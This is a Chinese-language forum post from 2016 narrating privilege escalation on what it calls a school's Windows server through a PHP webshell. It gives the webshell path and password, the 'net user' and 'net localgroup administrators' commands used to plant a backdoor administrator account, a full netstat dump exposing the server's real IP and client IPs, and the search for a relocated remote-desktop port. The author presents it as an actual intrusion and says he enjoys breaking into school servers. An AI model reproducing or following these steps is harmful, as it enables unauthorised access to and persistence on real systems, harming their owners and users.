admin 发表于 2016-10-14 17:20:09

一次php环境下的提权

Shell:http://案例/student/inc/hack/help.phpPass:silic拿到shell,先执行了下DOS命令,如图:

可以成功执行,只是没看到administrator,有点奇怪,看了一下这几个用户的权限,发现windsasc是管理员,如图:

这只是个小插曲,无关提权。然后看了下权限,震惊了一下,看图:

直接是system啊,那还不是想干嘛就干嘛了?这种情况真不多,虽然php在安装的时候默认是以system权限运行的,但是现在国内用Php的一般都做了降权处理的,一般都是user权限,不会是默认的system权限,但是这里出现了一个另类,这个站是学校的站,我一直喜欢提学校的服务器,因为学校的服务器权限限制一般都不会很变态,这里正好遇到个另类,我喜欢。顺便提一下,asp的web的权限一般都是guest,aspx和php的web一般都是user,jsp的web一般都是system。但是这个例子因为管理员的疏忽大意,导致我们拿到的php的web的权限直接是system,那这权就好提了。
直接添加用户就行了,如图:看图,没有回显。
一般的命令执行成功会给出提示的,但是这里没有提示,那就说明命令没有成功执行,不信那就回去看一下现在都有哪些用户:
没有drvfan这个用户,那就说明命令确实没有成功执行。这里遇到了壁垒,不要慌,整理一下思路,我们前边执行net user是成功的,说明管理员没有对net.exe做手脚,但是这里添加用户不成功,那就应该是服务器的安全策略的问题了,说简单点,也就是添加用户的时候,用户的密码不能太简单,太简单服务器会拒绝添加,这时候我们只需要把要添加的用户密码设置复杂一点就可以了,最好是数字+字母+符号的组合,并且最低要是14位,好了,分析完了,我们现在再来试试,现在的命令是这样的:net user drvfan drv!!!25.0**20 /add

我们的密码符合上边我说的要求,好了,来执行吧:成功了。OK,说明我们的思路是正确的,下面把这个用户添加到管理员组:
net localgroup administrators drvfan /add如图:OK,提权完毕。

现在连一下3389:连不上,出现这种错误,有2种可能:1、服务器没开远程桌面,直接本地管理的2、远程桌面默认端口被修改了但是,根据经验,一般都是第二种原因,我们来看一下服务器都开了哪些端口:一张图显示不完,我直接把结果贴上来吧:  Proto  Local Address          Foreign Address        State  TCP    0.0.0.0:7              0.0.0.0:0              LISTENING  TCP    0.0.0.0:9              0.0.0.0:0              LISTENING  TCP    0.0.0.0:13             0.0.0.0:0              LISTENING  TCP    0.0.0.0:17             0.0.0.0:0              LISTENING  TCP    0.0.0.0:19             0.0.0.0:0              LISTENING  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING  TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING  TCP    0.0.0.0:1280           0.0.0.0:0              LISTENING  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING  TCP    0.0.0.0:6059           0.0.0.0:0              LISTENING  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING  TCP    127.0.0.1:1028         0.0.0.0:0              LISTENING  TCP    127.0.0.1:3295         127.0.0.1:3306         TIME_WAIT  TCP    127.0.0.1:3296         127.0.0.1:3306         TIME_WAIT  TCP    127.0.0.1:3297         127.0.0.1:3306         TIME_WAIT  TCP    127.0.0.1:3298         127.0.0.1:3306         TIME_WAIT  TCP    127.0.0.1:3299         127.0.0.1:3306         TIME_WAIT  TCP    127.0.0.1:3300         127.0.0.1:3306         TIME_WAIT  TCP    127.0.0.1:3301         127.0.0.1:3306         TIME_WAIT  TCP    127.0.0.1:3302         127.0.0.1:3306         TIME_WAIT  TCP    127.0.0.1:3306         127.0.0.1:3139         LAST_ACK  TCP    127.0.0.1:3306         127.0.0.1:3159         LAST_ACK  TCP    127.0.0.1:3306         127.0.0.1:3181         LAST_ACK  TCP    127.0.0.1:3306         127.0.0.1:3184         LAST_ACK  TCP    127.0.0.1:3306         127.0.0.1:3272         LAST_ACK  TCP    127.0.0.1:3306         127.0.0.1:3284         LAST_ACK  TCP    127.0.0.1:3306         127.0.0.1:3286         LAST_ACK  TCP    210.44.36.11:80        61.135.249.211:11496   TIME_WAIT  TCP    210.44.36.11:80        61.135.249.211:16431   TIME_WAIT  TCP    210.44.36.11:80        61.135.249.211:48703   TIME_WAIT  TCP    210.44.36.11:80        61.135.249.211:58504   ESTABLISHED  TCP    210.44.36.11:80        114.232.158.200:4453   TIME_WAIT  TCP    210.44.36.11:80        119.189.116.34:2941    ESTABLISHED  TCP    210.44.36.11:80        122.78.211.165:27948   ESTABLISHED  TCP    210.44.36.11:80        192.168.15.249:1928    ESTABLISHED  TCP    210.44.36.11:80        203.208.60.198:57457   ESTABLISHED  TCP    210.44.36.11:80        218.28.124.194:1162    ESTABLISHED  TCP    210.44.36.11:80        222.171.177.98:51344   ESTABLISHED  TCP    210.44.36.11:139       0.0.0.0:0              LISTENING  UDP    0.0.0.0:7              *:*  UDP    0.0.0.0:9              *:*  UDP    0.0.0.0:13             *:*  UDP    0.0.0.0:17             *:*  UDP    0.0.0.0:19             *:*  UDP    0.0.0.0:1645           *:*  UDP    0.0.0.0:1646           *:*  UDP    0.0.0.0:1812           *:*  UDP    0.0.0.0:1813           *:*  UDP    127.0.0.1:123          *:*  UDP    127.0.0.1:1026         *:*  UDP    127.0.0.1:1027         *:*  UDP    210.44.36.11:123       *:*  UDP    210.44.36.11:137       *:*  UDP    210.44.36.11:138       *:*要知道,一般的,管理员就算改了远程桌面的端口,也是大于1024的端口,所以我们只用找找大于1024的端口即可。
找到了下面几个可疑端口:1025,1029,1280,3306,6059,47001
这几个找到的端口里,3306是mysql数据库的默认端口,并且已经确定这个网站用的是mysql数据库,看一下网站的数据库连接文件吧:可以看到,确实是用的mysql,那么3306端口就被排除了。
剩下的几个端口,如果不出意外,其中就有一个是远程桌面的端口,那么,一个一个试吧,我在试到1280端口的时候,出现了登陆界面,如图:

OK,万事俱备,登陆吧:OK,提权完毕。
页: [1]
查看完整版本: 一次php环境下的提权